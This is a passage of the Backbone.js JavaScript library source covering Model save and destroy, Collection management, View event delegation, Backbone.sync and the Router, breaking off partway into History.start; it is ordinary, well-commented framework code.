_.extend({parse: true}, options); var model = this; var success = options.success; options.success = function(resp) { var serverAttrs = options.parse ? model.parse(resp, options) : resp; if (!model.set(serverAttrs, options)) return false; if (success) success.call(options.context, model, resp, options); model.trigger('sync', model, resp, options); }; wrapError(this, options); return this.sync('read', this, options); }, // Set a hash of model attributes, and sync the model to the server. // If the server returns an attributes hash that differs, the model's // state will be `set` again. save: function(key, val, options) { // Handle both `"key", value` and `{key: value}` -style arguments. var attrs; if (key == null || typeof key === 'object') { attrs = key; options = val; } else { (attrs = {})[key] = val; } options = _.extend({validate: true, parse: true}, options); var wait = options.wait; // If we're not waiting and attributes exist, save acts as // `set(attr).save(null, opts)` with validation. Otherwise, check if // the model will be valid when the attributes, if any, are set. if (attrs && !wait) { if (!this.set(attrs, options)) return false; } else if (!this._validate(attrs, options)) { return false; } // After a successful server-side save, the client is (optionally) // updated with the server-side state. var model = this; var success = options.success; var attributes = this.attributes; options.success = function(resp) { // Ensure attributes are restored during synchronous saves. model.attributes = attributes; var serverAttrs = options.parse ? model.parse(resp, options) : resp; if (wait) serverAttrs = _.extend({}, attrs, serverAttrs); if (serverAttrs && !model.set(serverAttrs, options)) return false; if (success) success.call(options.context, model, resp, options); model.trigger('sync', model, resp, options); }; wrapError(this, options); // Set temporary attributes if `{wait: true}` to properly find new ids. if (attrs && wait) this.attributes = _.extend({}, attributes, attrs); var method = this.isNew() ? 'create' : options.patch ? 'patch' : 'update'; if (method === 'patch' && !options.attrs) options.attrs = attrs; var xhr = this.sync(method, this, options); // Restore attributes. this.attributes = attributes; return xhr; }, // Destroy this model on the server if it was already persisted. // Optimistically removes the model from its collection, if it has one. // If `wait: true` is passed, waits for the server to respond before removal. destroy: function(options) { options = options ? _.clone(options) : {}; var model = this; var success = options.success; var wait = options.wait; var destroy = function() { model.stopListening(); model.trigger('destroy', model, model.collection, options); }; options.success = function(resp) { if (wait) destroy(); if (success) success.call(options.context, model, resp, options); if (!model.isNew()) model.trigger('sync', model, resp, options); }; var xhr = false; if (this.isNew()) { _.defer(options.success); } else { wrapError(this, options); xhr = this.sync('delete', this, options); } if (!wait) destroy(); return xhr; }, // Default URL for the model's representation on the server -- if you're // using Backbone's restful methods, override this to change the endpoint // that will be called. url: function() { var base = _.result(this, 'urlRoot') || _.result(this.collection, 'url') || urlError(); if (this.isNew()) return base; var id = this.get(this.idAttribute); return base.replace(/[^\/]$/, '$&/') + encodeURIComponent(id); }, // **parse** converts a response into the hash of attributes to be `set` on // the model. The default implementation is just to pass the response along. parse: function(resp, options) { return resp; }, // Create a new model with identical attributes to this one. clone: function() { return new this.constructor(this.attributes); }, // A model is new if it has never been saved to the server, and lacks an id. isNew: function() { return !this.has(this.idAttribute); }, // Check if the model is currently in a valid state. isValid: function(options) { return this._validate({}, _.extend({}, options, {validate: true})); }, // Run validation against the next complete set of model attributes, // returning `true` if all is well. Otherwise, fire an `"invalid"` event. _validate: function(attrs, options) { if (!options.validate || !this.validate) return true; attrs = _.extend({}, this.attributes, attrs); var error = this.validationError = this.validate(attrs, options) || null; if (!error) return true; this.trigger('invalid', this, error, _.extend(options, {validationError: error})); return false; } }); // Backbone.Collection // ------------------- // If models tend to represent a single row of data, a Backbone Collection is // more analogous to a table full of data ... or a small slice or page of that // table, or a collection of rows that belong together for a particular reason // -- all of the messages in this particular folder, all of the documents // belonging to this particular author, and so on. Collections maintain // indexes of their models, both in order, and for lookup by `id`. // Create a new **Collection**, perhaps to contain a specific type of `model`. // If a `comparator` is specified, the Collection will maintain // its models in sort order, as they're added and removed. var Collection = Backbone.Collection = function(models, options) { options || (options = {}); this.preinitialize.apply(this, arguments); if (options.model) this.model = options.model; if (options.comparator !== void 0) this.comparator = options.comparator; this._reset(); this.initialize.apply(this, arguments); if (models) this.reset(models, _.extend({silent: true}, options)); }; // Default options for `Collection#set`. var setOptions = {add: true, remove: true, merge: true}; var addOptions = {add: true, remove: false}; // Splices `insert` into `array` at index `at`. var splice = function(array, insert, at) { at = Math.min(Math.max(at, 0), array.length); var tail = Array(array.length - at); var length = insert.length; var i; for (i = 0; i < tail.length; i++) tail[i] = array[i + at]; for (i = 0; i < length; i++) array[i + at] = insert[i]; for (i = 0; i < tail.length; i++) array[i + length + at] = tail[i]; }; // Define the Collection's inheritable methods. _.extend(Collection.prototype, Events, { // The default model for a collection is just a **Backbone.Model**. // This should be overridden in most cases. model: Model, // preinitialize is an empty function by default. You can override it with a function // or object. preinitialize will run before any instantiation logic is run in the Collection. preinitialize: function(){}, // Initialize is an empty function by default. Override it with your own // initialization logic. initialize: function(){}, // The JSON representation of a Collection is an array of the // models' attributes. toJSON: function(options) { return this.map(function(model) { return model.toJSON(options); }); }, // Proxy `Backbone.sync` by default. sync: function() { return Backbone.sync.apply(this, arguments); }, // Add a model, or list of models to the set. `models` may be Backbone // Models or raw JavaScript objects to be converted to Models, or any // combination of the two. add: function(models, options) { return this.set(models, _.extend({merge: false}, options, addOptions)); }, // Remove a model, or a list of models from the set. remove: function(models, options) { options = _.extend({}, options); var singular = !_.isArray(models); models = singular ? [models] : models.slice(); var removed = this._removeModels(models, options); if (!options.silent && removed.length) { options.changes = {added: [], merged: [], removed: removed}; this.trigger('update', this, options); } return singular ? removed[0] : removed; }, // Update a collection by `set`-ing a new list of models, adding new ones, // removing models that are no longer present, and merging models that // already exist in the collection, as necessary. Similar to **Model#set**, // the core operation for updating the data contained by the collection. set: function(models, options) { if (models == null) return; options = _.extend({}, setOptions, options); if (options.parse && !this._isModel(models)) { models = this.parse(models, options) || []; } var singular = !_.isArray(models); models = singular ? [models] : models.slice(); var at = options.at; if (at != null) at = +at; if (at > this.length) at = this.length; if (at < 0) at += this.length + 1; var set = []; var toAdd = []; var toMerge = []; var toRemove = []; var modelMap = {}; var add = options.add; var merge = options.merge; var remove = options.remove; var sort = false; var sortable = this.comparator && at == null && options.sort !== false; var sortAttr = _.isString(this.comparator) ? this.comparator : null; // Turn bare objects into model references, and prevent invalid models // from being added. var model, i; for (i = 0; i < models.length; i++) { model = models[i]; // If a duplicate is found, prevent it from being added and // optionally merge it into the existing model. var existing = this.get(model); if (existing) { if (merge && model !== existing) { var attrs = this._isModel(model) ? model.attributes : model; if (options.parse) attrs = existing.parse(attrs, options); existing.set(attrs, options); toMerge.push(existing); if (sortable && !sort) sort = existing.hasChanged(sortAttr); } if (!modelMap[existing.cid]) { modelMap[existing.cid] = true; set.push(existing); } models[i] = existing; // If this is a new, valid model, push it to the `toAdd` list. } else if (add) { model = models[i] = this._prepareModel(model, options); if (model) { toAdd.push(model); this._addReference(model, options); modelMap[model.cid] = true; set.push(model); } } } // Remove stale models. if (remove) { for (i = 0; i < this.length; i++) { model = this.models[i]; if (!modelMap[model.cid]) toRemove.push(model); } if (toRemove.length) this._removeModels(toRemove, options); } // See if sorting is needed, update `length` and splice in new models. var orderChanged = false; var replace = !sortable && add && remove; if (set.length && replace) { orderChanged = this.length !== set.length || _.some(this.models, function(m, index) { return m !== set[index]; }); this.models.length = 0; splice(this.models, set, 0); this.length = this.models.length; } else if (toAdd.length) { if (sortable) sort = true; splice(this.models, toAdd, at == null ? this.length : at); this.length = this.models.length; } // Silently sort the collection if appropriate. if (sort) this.sort({silent: true}); // Unless silenced, it's time to fire all appropriate add/sort/update events. if (!options.silent) { for (i = 0; i < toAdd.length; i++) { if (at != null) options.index = at + i; model = toAdd[i]; model.trigger('add', model, this, options); } if (sort || orderChanged) this.trigger('sort', this, options); if (toAdd.length || toRemove.length || toMerge.length) { options.changes = { added: toAdd, removed: toRemove, merged: toMerge }; this.trigger('update', this, options); } } // Return the added (or merged) model (or models). return singular ? models[0] : models; }, // When you have more items than you want to add or remove individually, // you can reset the entire set with a new list of models, without firing // any granular `add` or `remove` events. Fires `reset` when finished. // Useful for bulk operations and optimizations. reset: function(models, options) { options = options ? _.clone(options) : {}; for (var i = 0; i < this.models.length; i++) { this._removeReference(this.models[i], options); } options.previousModels = this.models; this._reset(); models = this.add(models, _.extend({silent: true}, options)); if (!options.silent) this.trigger('reset', this, options); return models; }, // Add a model to the end of the collection. push: function(model, options) { return this.add(model, _.extend({at: this.length}, options)); }, // Remove a model from the end of the collection. pop: function(options) { var model = this.at(this.length - 1); return this.remove(model, options); }, // Add a model to the beginning of the collection. unshift: function(model, options) { return this.add(model, _.extend({at: 0}, options)); }, // Remove a model from the beginning of the collection. shift: function(options) { var model = this.at(0); return this.remove(model, options); }, // Slice out a sub-array of models from the collection. slice: function() { return slice.apply(this.models, arguments); }, // Get a model from the set by id, cid, model object with id or cid // properties, or an attributes object that is transformed through modelId. get: function(obj) { if (obj == null) return void 0; return this._byId[obj] || this._byId[this.modelId(this._isModel(obj) ? obj.attributes : obj, obj.idAttribute)] || obj.cid && this._byId[obj.cid]; }, // Returns `true` if the model is in the collection. has: function(obj) { return this.get(obj) != null; }, // Get the model at the given index. at: function(index) { if (index < 0) index += this.length; return this.models[index]; }, // Return models with matching attributes. Useful for simple cases of // `filter`. where: function(attrs, first) { return this[first ? 'find' : 'filter'](attrs); }, // Return the first model with matching attributes. Useful for simple cases // of `find`. findWhere: function(attrs) { return this.where(attrs, true); }, // Force the collection to re-sort itself. You don't need to call this under // normal circumstances, as the set will maintain sort order as each item // is added. sort: function(options) { var comparator = this.comparator; if (!comparator) throw new Error('Cannot sort a set without a comparator'); options || (options = {}); var length = comparator.length; if (_.isFunction(comparator)) comparator = comparator.bind(this); // Run sort based on type of `comparator`. if (length === 1 || _.isString(comparator)) { this.models = this.sortBy(comparator); } else { this.models.sort(comparator); } if (!options.silent) this.trigger('sort', this, options); return this; }, // Pluck an attribute from each model in the collection. pluck: function(attr) { return this.map(attr + ''); }, // Fetch the default set of models for this collection, resetting the // collection when they arrive. If `reset: true` is passed, the response // data will be passed through the `reset` method instead of `set`. fetch: function(options) { options = _.extend({parse: true}, options); var success = options.success; var collection = this; options.success = function(resp) { var method = options.reset ? 'reset' : 'set'; collection[method](resp, options); if (success) success.call(options.context, collection, resp, options); collection.trigger('sync', collection, resp, options); }; wrapError(this, options); return this.sync('read', this, options); }, // Create a new instance of a model in this collection. Add the model to the // collection immediately, unless `wait: true` is passed, in which case we // wait for the server to agree. create: function(model, options) { options = options ? _.clone(options) : {}; var wait = options.wait; model = this._prepareModel(model, options); if (!model) return false; if (!wait) this.add(model, options); var collection = this; var success = options.success; options.success = function(m, resp, callbackOpts) { if (wait) { m.off('error', collection._forwardPristineError, collection); collection.add(m, callbackOpts); } if (success) success.call(callbackOpts.context, m, resp, callbackOpts); }; // In case of wait:true, our collection is not listening to any // of the model's events yet, so it will not forward the error // event. In this special case, we need to listen for it // separately and handle the event just once. // (The reason we don't need to do this for the sync event is // in the success handler above: we add the model first, which // causes the collection to listen, and then invoke the callback // that triggers the event.) if (wait) { model.once('error', this._forwardPristineError, this); } model.save(null, options); return model; }, // **parse** converts a response into a list of models to be added to the // collection. The default implementation is just to pass it through. parse: function(resp, options) { return resp; }, // Create a new collection with an identical list of models as this one. clone: function() { return new this.constructor(this.models, { model: this.model, comparator: this.comparator }); }, // Define how to uniquely identify models in the collection. modelId: function(attrs, idAttribute) { return attrs[idAttribute || this.model.prototype.idAttribute || 'id']; }, // Get an iterator of all models in this collection. values: function() { return new CollectionIterator(this, ITERATOR_VALUES); }, // Get an iterator of all model IDs in this collection. keys: function() { return new CollectionIterator(this, ITERATOR_KEYS); }, // Get an iterator of all [ID, model] tuples in this collection. entries: function() { return new CollectionIterator(this, ITERATOR_KEYSVALUES); }, // Private method to reset all internal state. Called when the collection // is first initialized or reset. _reset: function() { this.length = 0; this.models = []; this._byId = {}; }, // Prepare a hash of attributes (or other model) to be added to this // collection. _prepareModel: function(attrs, options) { if (this._isModel(attrs)) { if (!attrs.collection) attrs.collection = this; return attrs; } options = options ? _.clone(options) : {}; options.collection = this; var model; if (this.model.prototype) { model = new this.model(attrs, options); } else { // ES class methods didn't have prototype model = this.model(attrs, options); } if (!model.validationError) return model; this.trigger('invalid', this, model.validationError, options); return false; }, // Internal method called by both remove and set. _removeModels: function(models, options) { var removed = []; for (var i = 0; i < models.length; i++) { var model = this.get(models[i]); if (!model) continue; var index = this.indexOf(model); this.models.splice(index, 1); this.length--; // Remove references before triggering 'remove' event to prevent an // infinite loop. #3693 delete this._byId[model.cid]; var id = this.modelId(model.attributes, model.idAttribute); if (id != null) delete this._byId[id]; if (!options.silent) { options.index = index; model.trigger('remove', model, this, options); } removed.push(model); this._removeReference(model, options); } if (models.length > 0 && !options.silent) delete options.index; return removed; }, // Method for checking whether an object should be considered a model for // the purposes of adding to the collection. _isModel: function(model) { return model instanceof Model; }, // Internal method to create a model's ties to a collection. _addReference: function(model, options) { this._byId[model.cid] = model; var id = this.modelId(model.attributes, model.idAttribute); if (id != null) this._byId[id] = model; model.on('all', this._onModelEvent, this); }, // Internal method to sever a model's ties to a collection. _removeReference: function(model, options) { delete this._byId[model.cid]; var id = this.modelId(model.attributes, model.idAttribute); if (id != null) delete this._byId[id]; if (this === model.collection) delete model.collection; model.off('all', this._onModelEvent, this); }, // Internal method called every time a model in the set fires an event. // Sets need to update their indexes when models change ids. All other // events simply proxy through. "add" and "remove" events that originate // in other collections are ignored. _onModelEvent: function(event, model, collection, options) { if (model) { if ((event === 'add' || event === 'remove') && collection !== this) return; if (event === 'destroy') this.remove(model, options); if (event === 'changeId') { var prevId = this.modelId(model.previousAttributes(), model.idAttribute); var id = this.modelId(model.attributes, model.idAttribute); if (prevId != null) delete this._byId[prevId]; if (id != null) this._byId[id] = model; } } this.trigger.apply(this, arguments); }, // Internal callback method used in `create`. It serves as a // stand-in for the `_onModelEvent` method, which is not yet bound // during the `wait` period of the `create` call. We still want to // forward any `'error'` event at the end of the `wait` period, // hence a customized callback. _forwardPristineError: function(model, collection, options) { // Prevent double forward if the model was already in the // collection before the call to `create`. if (this.has(model)) return; this._onModelEvent('error', model, collection, options); } }); // Defining an @@iterator method implements JavaScript's Iterable protocol. // In modern ES2015 browsers, this value is found at Symbol.iterator. /* global Symbol */ var $$iterator = typeof Symbol === 'function' && Symbol.iterator; if ($$iterator) { Collection.prototype[$$iterator] = Collection.prototype.values; } // CollectionIterator // ------------------ // A CollectionIterator implements JavaScript's Iterator protocol, allowing the // use of `for of` loops in modern browsers and interoperation between // Backbone.Collection and other JavaScript functions and third-party libraries // which can operate on Iterables. var CollectionIterator = function(collection, kind) { this._collection = collection; this._kind = kind; this._index = 0; }; // This "enum" defines the three possible kinds of values which can be emitted // by a CollectionIterator that correspond to the values(), keys() and entries() // methods on Collection, respectively. var ITERATOR_VALUES = 1; var ITERATOR_KEYS = 2; var ITERATOR_KEYSVALUES = 3; // All Iterators should themselves be Iterable. if ($$iterator) { CollectionIterator.prototype[$$iterator] = function() { return this; }; } CollectionIterator.prototype.next = function() { if (this._collection) { // Only continue iterating if the iterated collection is long enough. if (this._index < this._collection.length) { var model = this._collection.at(this._index); this._index++; // Construct a value depending on what kind of values should be iterated. var value; if (this._kind === ITERATOR_VALUES) { value = model; } else { var id = this._collection.modelId(model.attributes, model.idAttribute); if (this._kind === ITERATOR_KEYS) { value = id; } else { // ITERATOR_KEYSVALUES value = [id, model]; } } return {value: value, done: false}; } // Once exhausted, remove the reference to the collection so future // calls to the next method always return done. this._collection = void 0; } return {value: void 0, done: true}; }; // Backbone.View // ------------- // Backbone Views are almost more convention than they are actual code. A View // is simply a JavaScript object that represents a logical chunk of UI in the // DOM. This might be a single item, an entire list, a sidebar or panel, or // even the surrounding frame which wraps your whole app. Defining a chunk of // UI as a **View** allows you to define your DOM events declaratively, without // having to worry about render order ... and makes it easy for the view to // react to specific changes in the state of your models. // Creating a Backbone.View creates its initial element outside of the DOM, // if an existing element is not provided... var View = Backbone.View = function(options) { this.cid = _.uniqueId('view'); this.preinitialize.apply(this, arguments); _.extend(this, _.pick(options, viewOptions)); this._ensureElement(); this.initialize.apply(this, arguments); }; // Cached regex to split keys for `delegate`. var delegateEventSplitter = /^(\S+)\s*(.*)$/; // List of view options to be set as properties. var viewOptions = ['model', 'collection', 'el', 'id', 'attributes', 'className', 'tagName', 'events']; // Set up all inheritable **Backbone.View** properties and methods. _.extend(View.prototype, Events, { // The default `tagName` of a View's element is `"div"`. tagName: 'div', // jQuery delegate for element lookup, scoped to DOM elements within the // current view. This should be preferred to global lookups where possible. $: function(selector) { return this.$el.find(selector); }, // preinitialize is an empty function by default. You can override it with a function // or object. preinitialize will run before any instantiation logic is run in the View preinitialize: function(){}, // Initialize is an empty function by default. Override it with your own // initialization logic. initialize: function(){}, // **render** is the core function that your view should override, in order // to populate its element (`this.el`), with the appropriate HTML. The // convention is for **render** to always return `this`. render: function() { return this; }, // Remove this view by taking the element out of the DOM, and removing any // applicable Backbone.Events listeners. remove: function() { this._removeElement(); this.stopListening(); return this; }, // Remove this view's element from the document and all event listeners // attached to it. Exposed for subclasses using an alternative DOM // manipulation API. _removeElement: function() { this.$el.remove(); }, // Change the view's element (`this.el` property) and re-delegate the // view's events on the new element. setElement: function(element) { this.undelegateEvents(); this._setElement(element); this.delegateEvents(); return this; }, // Creates the `this.el` and `this.$el` references for this view using the // given `el`. `el` can be a CSS selector or an HTML string, a jQuery // context or an element. Subclasses can override this to utilize an // alternative DOM manipulation API and are only required to set the // `this.el` property. _setElement: function(el) { this.$el = el instanceof Backbone.$ ? el : Backbone.$(el); this.el = this.$el[0]; }, // Set callbacks, where `this.events` is a hash of // // *{"event selector": "callback"}* // // { // 'mousedown .title': 'edit', // 'click .button': 'save', // 'click .open': function(e) { ... } // } // // pairs. Callbacks will be bound to the view, with `this` set properly. // Uses event delegation for efficiency. // Omitting the selector binds the event to `this.el`. delegateEvents: function(events) { events || (events = _.result(this, 'events')); if (!events) return this; this.undelegateEvents(); for (var key in events) { var method = events[key]; if (!_.isFunction(method)) method = this[method]; if (!method) continue; var match = key.match(delegateEventSplitter); this.delegate(match[1], match[2], method.bind(this)); } return this; }, // Add a single event listener to the view's element (or a child element // using `selector`). This only works for delegate-able events: not `focus`, // `blur`, and not `change`, `submit`, and `reset` in Internet Explorer. delegate: function(eventName, selector, listener) { this.$el.on(eventName + '.delegateEvents' + this.cid, selector, listener); return this; }, // Clears all callbacks previously bound to the view by `delegateEvents`. // You usually don't need to use this, but may wish to if you have multiple // Backbone views attached to the same DOM element. undelegateEvents: function() { if (this.$el) this.$el.off('.delegateEvents' + this.cid); return this; }, // A finer-grained `undelegateEvents` for removing a single delegated event. // `selector` and `listener` are both optional. undelegate: function(eventName, selector, listener) { this.$el.off(eventName + '.delegateEvents' + this.cid, selector, listener); return this; }, // Produces a DOM element to be assigned to your view. Exposed for // subclasses using an alternative DOM manipulation API. _createElement: function(tagName) { return document.createElement(tagName); }, // Ensure that the View has a DOM element to render into. // If `this.el` is a string, pass it through `$()`, take the first // matching element, and re-assign it to `el`. Otherwise, create // an element from the `id`, `className` and `tagName` properties. _ensureElement: function() { if (!this.el) { var attrs = _.extend({}, _.result(this, 'attributes')); if (this.id) attrs.id = _.result(this, 'id'); if (this.className) attrs['class'] = _.result(this, 'className'); this.setElement(this._createElement(_.result(this, 'tagName'))); this._setAttributes(attrs); } else { this.setElement(_.result(this, 'el')); } }, // Set attributes from a hash on this view's element. Exposed for // subclasses using an alternative DOM manipulation API. _setAttributes: function(attributes) { this.$el.attr(attributes); } }); // Proxy Backbone class methods to Underscore functions, wrapping the model's // `attributes` object or collection's `models` array behind the scenes. // // collection.filter(function(model) { return model.get('age') > 10 }); // collection.each(this.addView); // // `Function#apply` can be slow so we use the method's arg count, if we know it. var addMethod = function(base, length, method, attribute) { switch (length) { case 1: return function() { return base[method](this[attribute]); }; case 2: return function(value) { return base[method](this[attribute], value); }; case 3: return function(iteratee, context) { return base[method](this[attribute], cb(iteratee, this), context); }; case 4: return function(iteratee, defaultVal, context) { return base[method](this[attribute], cb(iteratee, this), defaultVal, context); }; default: return function() { var args = slice.call(arguments); args.unshift(this[attribute]); return base[method].apply(base, args); }; } }; var addUnderscoreMethods = function(Class, base, methods, attribute) { _.each(methods, function(length, method) { if (base[method]) Class.prototype[method] = addMethod(base, length, method, attribute); }); }; // Support `collection.sortBy('attr')` and `collection.findWhere({id: 1})`. var cb = function(iteratee, instance) { if (_.isFunction(iteratee)) return iteratee; if (_.isObject(iteratee) && !instance._isModel(iteratee)) return modelMatcher(iteratee); if (_.isString(iteratee)) return function(model) { return model.get(iteratee); }; return iteratee; }; var modelMatcher = function(attrs) { var matcher = _.matches(attrs); return function(model) { return matcher(model.attributes); }; }; // Underscore methods that we want to implement on the Collection. // 90% of the core usefulness of Backbone Collections is actually implemented // right here: var collectionMethods = {forEach: 3, each: 3, map: 3, collect: 3, reduce: 0, foldl: 0, inject: 0, reduceRight: 0, foldr: 0, find: 3, detect: 3, filter: 3, select: 3, reject: 3, every: 3, all: 3, some: 3, any: 3, include: 3, includes: 3, contains: 3, invoke: 0, max: 3, min: 3, toArray: 1, size: 1, first: 3, head: 3, take: 3, initial: 3, rest: 3, tail: 3, drop: 3, last: 3, without: 0, difference: 0, indexOf: 3, shuffle: 1, lastIndexOf: 3, isEmpty: 1, chain: 1, sample: 3, partition: 3, groupBy: 3, countBy: 3, sortBy: 3, indexBy: 3, findIndex: 3, findLastIndex: 3}; // Underscore methods that we want to implement on the Model, mapped to the // number of arguments they take. var modelMethods = {keys: 1, values: 1, pairs: 1, invert: 1, pick: 0, omit: 0, chain: 1, isEmpty: 1}; // Mix in each Underscore method as a proxy to `Collection#models`. _.each([ [Collection, collectionMethods, 'models'], [Model, modelMethods, 'attributes'] ], function(config) { var Base = config[0], methods = config[1], attribute = config[2]; Base.mixin = function(obj) { var mappings = _.reduce(_.functions(obj), function(memo, name) { memo[name] = 0; return memo; }, {}); addUnderscoreMethods(Base, obj, mappings, attribute); }; addUnderscoreMethods(Base, _, methods, attribute); }); // Backbone.sync // ------------- // Override this function to change the manner in which Backbone persists // models to the server. You will be passed the type of request, and the // model in question. By default, makes a RESTful Ajax request // to the model's `url()`. Some possible customizations could be: // // * Use `setTimeout` to batch rapid-fire updates into a single request. // * Send up the models as XML instead of JSON. // * Persist models via WebSockets instead of Ajax. // // Turn on `Backbone.emulateHTTP` in order to send `PUT` and `DELETE` requests // as `POST`, with a `_method` parameter containing the true HTTP method, // as well as all requests with the body as `application/x-www-form-urlencoded` // instead of `application/json` with the model in a param named `model`. // Useful when interfacing with server-side languages like **PHP** that make // it difficult to read the body of `PUT` requests. Backbone.sync = function(method, model, options) { var type = methodMap[method]; // Default options, unless specified. _.defaults(options || (options = {}), { emulateHTTP: Backbone.emulateHTTP, emulateJSON: Backbone.emulateJSON }); // Default JSON-request options. var params = {type: type, dataType: 'json'}; // Ensure that we have a URL. if (!options.url) { params.url = _.result(model, 'url') || urlError(); } // Ensure that we have the appropriate request data. if (options.data == null && model && (method === 'create' || method === 'update' || method === 'patch')) { params.contentType = 'application/json'; params.data = JSON.stringify(options.attrs || model.toJSON(options)); } // For older servers, emulate JSON by encoding the request into an HTML-form. if (options.emulateJSON) { params.contentType = 'application/x-www-form-urlencoded'; params.data = params.data ? {model: params.data} : {}; } // For older servers, emulate HTTP by mimicking the HTTP method with `_method` // And an `X-HTTP-Method-Override` header. if (options.emulateHTTP && (type === 'PUT' || type === 'DELETE' || type === 'PATCH')) { params.type = 'POST'; if (options.emulateJSON) params.data._method = type; var beforeSend = options.beforeSend; options.beforeSend = function(xhr) { xhr.setRequestHeader('X-HTTP-Method-Override', type); if (beforeSend) return beforeSend.apply(this, arguments); }; } // Don't process data on a non-GET request. if (params.type !== 'GET' && !options.emulateJSON) { params.processData = false; } // Pass along `textStatus` and `errorThrown` from jQuery. var error = options.error; options.error = function(xhr, textStatus, errorThrown) { options.textStatus = textStatus; options.errorThrown = errorThrown; if (error) error.call(options.context, xhr, textStatus, errorThrown); }; // Make the request, allowing the user to override any Ajax options. var xhr = options.xhr = Backbone.ajax(_.extend(params, options)); model.trigger('request', model, xhr, options); return xhr; }; // Map from CRUD to HTTP for our default `Backbone.sync` implementation. var methodMap = { 'create': 'POST', 'update': 'PUT', 'patch': 'PATCH', 'delete': 'DELETE', 'read': 'GET' }; // Set the default implementation of `Backbone.ajax` to proxy through to `$`. // Override this if you'd like to use a different library. Backbone.ajax = function() { return Backbone.$.ajax.apply(Backbone.$, arguments); }; // Backbone.Router // --------------- // Routers map faux-URLs to actions, and fire events when routes are // matched. Creating a new one sets its `routes` hash, if not set statically. var Router = Backbone.Router = function(options) { options || (options = {}); this.preinitialize.apply(this, arguments); if (options.routes) this.routes = options.routes; this._bindRoutes(); this.initialize.apply(this, arguments); }; // Cached regular expressions for matching named param parts and splatted // parts of route strings. var optionalParam = /\((.*?)\)/g; var namedParam = /(\(\?)?:\w+/g; var splatParam = /\*\w+/g; var escapeRegExp = /[\-{}\[\]+?.,\\\^$|#\s]/g; // Set up all inheritable **Backbone.Router** properties and methods. _.extend(Router.prototype, Events, { // preinitialize is an empty function by default. You can override it with a function // or object. preinitialize will run before any instantiation logic is run in the Router. preinitialize: function(){}, // Initialize is an empty function by default. Override it with your own // initialization logic. initialize: function(){}, // Manually bind a single named route to a callback. For example: // // this.route('search/:query/p:num', 'search', function(query, num) { // ... // }); // route: function(route, name, callback) { if (!_.isRegExp(route)) route = this._routeToRegExp(route); if (_.isFunction(name)) { callback = name; name = ''; } if (!callback) callback = this[name]; var router = this; Backbone.history.route(route, function(fragment) { var args = router._extractParameters(route, fragment); if (router.execute(callback, args, name) !== false) { router.trigger.apply(router, ['route:' + name].concat(args)); router.trigger('route', name, args); Backbone.history.trigger('route', router, name, args); } }); return this; }, // Execute a route handler with the provided parameters. This is an // excellent place to do pre-route setup or post-route cleanup. execute: function(callback, args, name) { if (callback) callback.apply(this, args); }, // Simple proxy to `Backbone.history` to save a fragment into the history. navigate: function(fragment, options) { Backbone.history.navigate(fragment, options); return this; }, // Bind all defined routes to `Backbone.history`. We have to reverse the // order of the routes here to support behavior where the most general // routes can be defined at the bottom of the route map. _bindRoutes: function() { if (!this.routes) return; this.routes = _.result(this, 'routes'); var route, routes = _.keys(this.routes); while ((route = routes.pop()) != null) { this.route(route, this.routes[route]); } }, // Convert a route string into a regular expression, suitable for matching // against the current location hash. _routeToRegExp: function(route) { route = route.replace(escapeRegExp, '\\$&') .replace(optionalParam, '(?:$1)?') .replace(namedParam, function(match, optional) { return optional ? match : '([^/?]+)'; }) .replace(splatParam, '([^?]*?)'); return new RegExp('^' + route + '(?:\\?([\\s\\S]*))?$'); }, // Given a route, and a URL fragment that it matches, return the array of // extracted decoded parameters. Empty or unmatched parameters will be // treated as `null` to normalize cross-browser behavior. _extractParameters: function(route, fragment) { var params = route.exec(fragment).slice(1); return _.map(params, function(param, i) { // Don't decode the search params. if (i === params.length - 1) return param || null; return param ? decodeURIComponent(param) : null; }); } }); // Backbone.History // ---------------- // Handles cross-browser history management, based on either // [pushState](http://diveintohtml5.info/history.html) and real URLs, or // [onhashchange](https://developer.mozilla.org/en-US/docs/DOM/window.onhashchange) // and URL fragments. If the browser supports neither (old IE, natch), // falls back to polling. var History = Backbone.History = function() { this.handlers = []; this.checkUrl = this.checkUrl.bind(this); // Ensure that `History` can be used outside of the browser. if (typeof window !== 'undefined') { this.location = window.location; this.history = window.history; } }; // Cached regex for stripping a leading hash/slash and trailing space. var routeStripper = /^[#\/]|\s+$/g; // Cached regex for stripping leading and trailing slashes. var rootStripper = /^\/+|\/+$/g; // Cached regex for stripping urls of hash. var pathStripper = /#.*$/; // Has the history handling already been started? History.started = false; // Set up all inheritable **Backbone.History** properties and methods. _.extend(History.prototype, Events, { // The default interval to poll for hash changes, if necessary, is // twenty times a second. interval: 50, // Are we at the app root? atRoot: function() { var path = this.location.pathname.replace(/[^\/]$/, '$&/'); return path === this.root && !this.getSearch(); }, // Does the pathname match the root? matchRoot: function() { var path = this.decodeFragment(this.location.pathname); var rootPath = path.slice(0, this.root.length - 1) + '/'; return rootPath === this.root; }, // Unicode characters in `location.pathname` are percent encoded so they're // decoded for comparison. `%25` should not be decoded since it may be part // of an encoded parameter. decodeFragment: function(fragment) { return decodeURI(fragment.replace(/%25/g, '%2525')); }, // In IE6, the hash fragment and search params are incorrect if the // fragment contains `?`. getSearch: function() { var match = this.location.href.replace(/#.*/, '').match(/\?.+/); return match ? match[0] : ''; }, // Gets the true hash value. Cannot use location.hash directly due to bug // in Firefox where location.hash will always be decoded. getHash: function(window) { var match = (window || this).location.href.match(/#(.*)$/); return match ? match[1] : ''; }, // Get the pathname and search params, without the root. getPath: function() { var path = this.decodeFragment( this.location.pathname + this.getSearch() ).slice(this.root.length - 1); return path.charAt(0) === '/' ? path.slice(1) : path; }, // Get the cross-browser normalized URL fragment from the path or hash. getFragment: function(fragment) { if (fragment == null) { if (this._usePushState || !this._wantsHashChange) { fragment = this.getPath(); } else { fragment = this.getHash(); } } return fragment.replace(routeStripper, ''); }, // Start the hash change handling, returning `true` if the current URL matches // an existing route, and `false` otherwise. start: function(options) { if (History.started) throw new Error('Backbone.history has already been started'); History.started = true; // Figure out the initial configuration. Do we need an iframe? // Is pushState desired ... is it available? this.options = _.extend({root: '/'}, this.options, options); this.root = this.options.root; this._trailingSlash = this.options.trailingSlash; this._wantsHashChange = this.options.hashChange !== false; this._hasHashChange = 'onhashchange' in window && (document.documentMode === void 0 || document.documentMode > 7); this._useHashChange = this._wantsHashChange && this._hasHashChange; this._wantsPushState = !!this.options.pushState; this._hasPushState = !!(this.history && this.history.pushState); this._usePushState = this._wantsPushState && this._hasPushState; this.fragment = this.getFragment(); // Normalize root to always include a leading and trailing slash. this.root = ('/' + this.root + '/').replace(rootStripper, '/'); // Transition from hashChange to pushState or vice versa if both are // requested. if (this._wantsHashChange && this._wantsPushState) 